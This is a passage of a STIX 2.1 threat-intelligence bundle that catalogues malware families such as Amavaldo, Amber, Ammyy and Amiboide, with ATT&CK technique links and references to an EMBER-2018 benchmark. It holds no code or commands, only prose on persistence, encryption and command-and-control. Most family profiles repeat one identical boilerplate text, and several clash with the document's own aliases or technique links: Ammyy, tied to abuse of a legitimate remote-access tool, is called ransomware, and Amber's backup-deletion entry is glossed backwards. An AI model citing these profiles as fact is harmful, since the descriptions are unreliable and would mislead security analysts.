      "relationship_type": "uses",
      "source_ref": "malware--6bc7d86f-50ad-5196-8c7f-072e4cfea267",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alyak exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1cef5af-845d-5cd0-9a12-566229c8b7d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc7d86f-50ad-5196-8c7f-072e4cfea267",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alyak exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c94049a-5fb0-5c28-8456-96e10d265f23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc7d86f-50ad-5196-8c7f-072e4cfea267",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alyak exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fb18f37-efab-5076-9037-7a1f26633daa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc7d86f-50ad-5196-8c7f-072e4cfea267",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alyak exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e279552f-7553-5e3d-bb1a-ea6be4bacf46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Amavaldo",
      "description": "Amavaldo (classified in antivirus detection telemetry under designations including Trojan:Win32/Amavaldo, Trojan.Win32.Amavaldo, and Win32/Amavaldo) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Amavaldo executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Amavaldo",
        "Trojan.Win32.Amavaldo",
        "Win32/Amavaldo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Amavaldo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/amavaldo"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--769b6eae-088f-5cec-becc-05c5f4fdafbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e279552f-7553-5e3d-bb1a-ea6be4bacf46",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amavaldo exhibits technique T1185 (Browser Session Hijacking (Web Injects / Overlays))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83e23a70-67b1-531e-b3db-83074b828ffe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e279552f-7553-5e3d-bb1a-ea6be4bacf46",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amavaldo exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3854b3e5-ea4e-51a0-9fd6-32a5c0eb07cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e279552f-7553-5e3d-bb1a-ea6be4bacf46",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amavaldo exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d310e53-7c68-541e-99ed-3533412d165d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e279552f-7553-5e3d-bb1a-ea6be4bacf46",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amavaldo exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Malicious MSI files))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--86fbda9d-4173-500f-ac3a-73092e66885d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Amber",
      "description": "Amber (classified in antivirus detection telemetry under designations including Ransom:Win32/Amber, Ransom.Win32.Amber, and Win32/Amber) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Amber executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom.Amber",
        "Win32/Filecoder.Amber",
        "Trojan-Ransom.Win32.Amber",
        "Ransom:Win32/Amber",
        "Ransom.Win32.Amber",
        "Win32/Amber"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Amber",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/amber"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1055.001: Dynamic-link Library Injection",
      "description": "MITRE ATT&CK Technique T1055.001 (Dynamic-link Library Injection) under tactic defense-evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1055.001",
          "url": "https://attack.mitre.org/techniques/T1055/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed1e3f80-1b5b-58dd-91e8-c70e046ca30b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86fbda9d-4173-500f-ac3a-73092e66885d",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amber exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aeadd99f-eab5-5b69-b0f9-1232e8d23d75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86fbda9d-4173-500f-ac3a-73092e66885d",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amber exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17ca1c93-e59f-5e91-b885-b36f68e48b7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86fbda9d-4173-500f-ac3a-73092e66885d",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amber exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46a152ee-8ecb-5a6c-977f-6275583cdf27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86fbda9d-4173-500f-ac3a-73092e66885d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amber exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--72efdec9-f8af-5dc6-bfe0-eb542b0df770",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Amdocssims",
      "description": "Amdocssims (classified in antivirus detection telemetry under designations including Trojan:Win32/Amdocssims, Trojan.Win32.Amdocssims, and Win32/Amdocssims) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Amdocssims executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.Amdocssims",
        "HackTool.Telecom",
        "PUP.Amdocs",
        "Trojan:Win32/Amdocssims",
        "Trojan.Win32.Amdocssims",
        "Win32/Amdocssims"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Amdocssims",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/amdocssims"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a65c6b5c-3c44-5feb-a88e-504f365160e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72efdec9-f8af-5dc6-bfe0-eb542b0df770",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amdocssims exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--1eb20a78-23ea-5df6-b008-396219ebd531",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1040: Network Sniffing (Stealing credentials in transit)",
      "description": "MITRE ATT&CK Technique T1040 (Network Sniffing (Stealing credentials in transit)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1040",
          "url": "https://attack.mitre.org/techniques/T1040/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0f83c51-28dc-5439-bc78-1bdcc07b1571",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72efdec9-f8af-5dc6-bfe0-eb542b0df770",
      "target_ref": "attack-pattern--1eb20a78-23ea-5df6-b008-396219ebd531",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amdocssims exhibits technique T1040 (Network Sniffing (Stealing credentials in transit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf4e04e2-c4e7-562a-aff6-e178e0a93652",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72efdec9-f8af-5dc6-bfe0-eb542b0df770",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amdocssims exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4f53949-b276-541d-af92-bd7b7cec8838",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72efdec9-f8af-5dc6-bfe0-eb542b0df770",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amdocssims exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a316ee9-1c75-5d5d-9d60-fba6824d9824",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72efdec9-f8af-5dc6-bfe0-eb542b0df770",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amdocssims exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef4576c8-1b55-543b-8eb5-4e2dcca22477",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72efdec9-f8af-5dc6-bfe0-eb542b0df770",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amdocssims exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8eedf2f8-d7a6-50a2-a744-a2fdc0145fb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Amgfaohk2Uf",
      "description": "Amgfaohk2Uf (classified in antivirus detection telemetry under designations including Ransom:Win32/Amgfaohk2Uf, Ransom.Win32.Amgfaohk2Uf, and Win32/Amgfaohk2Uf) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Amgfaohk2Uf executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obfuscated.Gen",
        "Dropper.RandomName",
        "Win32/Trojan.Packer",
        "Ransom:Win32/Amgfaohk2Uf",
        "Ransom.Win32.Amgfaohk2Uf",
        "Win32/Amgfaohk2Uf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Amgfaohk2Uf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/amgfaohk2uf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09582937-9fe2-5a9b-a9cb-1a35edacb936",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8eedf2f8-d7a6-50a2-a744-a2fdc0145fb9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amgfaohk2Uf exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf9823d0-cd70-567b-acf5-9aaaff27a1e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8eedf2f8-d7a6-50a2-a744-a2fdc0145fb9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amgfaohk2Uf exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa45c6e7-4f95-5530-a82a-e93dd094ce73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8eedf2f8-d7a6-50a2-a744-a2fdc0145fb9",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amgfaohk2Uf exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fefc99ff-cf84-5d93-906d-3632cf4d055c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Amgfvjgvdoaan",
      "description": "Amgfvjgvdoaan (classified in antivirus detection telemetry under designations including Ransom:Win32/Amgfvjgvdoaan, Ransom.Win32.Amgfvjgvdoaan, and Win32/Amgfvjgvdoaan) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Amgfvjgvdoaan executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Amgfvjgvdoaan",
        "Ransom.Win32.Amgfvjgvdoaan",
        "Win32/Amgfvjgvdoaan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Amgfvjgvdoaan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/amgfvjgvdoaan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3846d0b9-e961-50f6-9c33-bf0070502098",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fefc99ff-cf84-5d93-906d-3632cf4d055c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amgfvjgvdoaan exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8268364-39e9-52c3-acd0-0d551a6517b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fefc99ff-cf84-5d93-906d-3632cf4d055c",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amgfvjgvdoaan exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de41290a-70d7-55ed-9f43-97177f85877c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fefc99ff-cf84-5d93-906d-3632cf4d055c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amgfvjgvdoaan exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--96267a99-2684-5c50-864b-bfcaa018879f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Amiboide",
      "description": "Amiboide is a historical malware family that primarily operated as a trojan horse, targeting Windows operating systems. It was often distributed through malicious email attachments or compromised software downloads. Once executed on a target machine, Amiboide established persistence by modifying system registry keys and installing hidden components deep within the operating system. The malware was designed to open a backdoor, granting remote attackers unauthorized access to the infected system. This allowed for various malicious activities, including data theft, keylogging, and the potential deployment of secondary payloads. Although its prevalence has waned in recent years due to improved security software and operating system defenses, Amiboide remains a notable example of early backdoor trojans and highlights the importance of robust endpoint protection and user awareness regarding suspicious files.",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Amiboide",
        "Trojan.Amiboide"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Amiboide",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/amiboide"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7148bb41-2304-5174-b695-524add00c705",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96267a99-2684-5c50-864b-bfcaa018879f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amiboide exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f7117f3-8a30-521a-8176-b73e256d7317",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96267a99-2684-5c50-864b-bfcaa018879f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amiboide exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1056: Input Capture",
      "description": "MITRE ATT&CK Technique T1056 (Input Capture) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1056",
          "url": "https://attack.mitre.org/techniques/T1056/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf3dd428-aeed-5305-9935-4a41027b344d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96267a99-2684-5c50-864b-bfcaa018879f",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amiboide exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb7dcf16-80a9-5828-8047-d80b22fdc740",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96267a99-2684-5c50-864b-bfcaa018879f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Amiboide exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--65db90fb-cd3e-5fd6-8a91-0f032ed3490a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ammyy",
      "description": "Ammyy (classified in antivirus detection telemetry under designations including Ransom:Win32/Ammyy, Ransom.Win32.Ammyy, and Win32/Ammyy) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Ammyy executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Ammyy",
        "Ransom.Win32.Ammyy",
        "Win32/Ammyy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ammyy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ammyy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1219: Remote Access Software (Abusing a legitimate tool for malicious interactive access)",
      "description": "MITRE ATT&CK Technique T1219 (Remote Access Software (Abusing a legitimate tool for malicious interactive access)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1219",
          "url": "https://attack.mitre.org/techniques/T1219/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
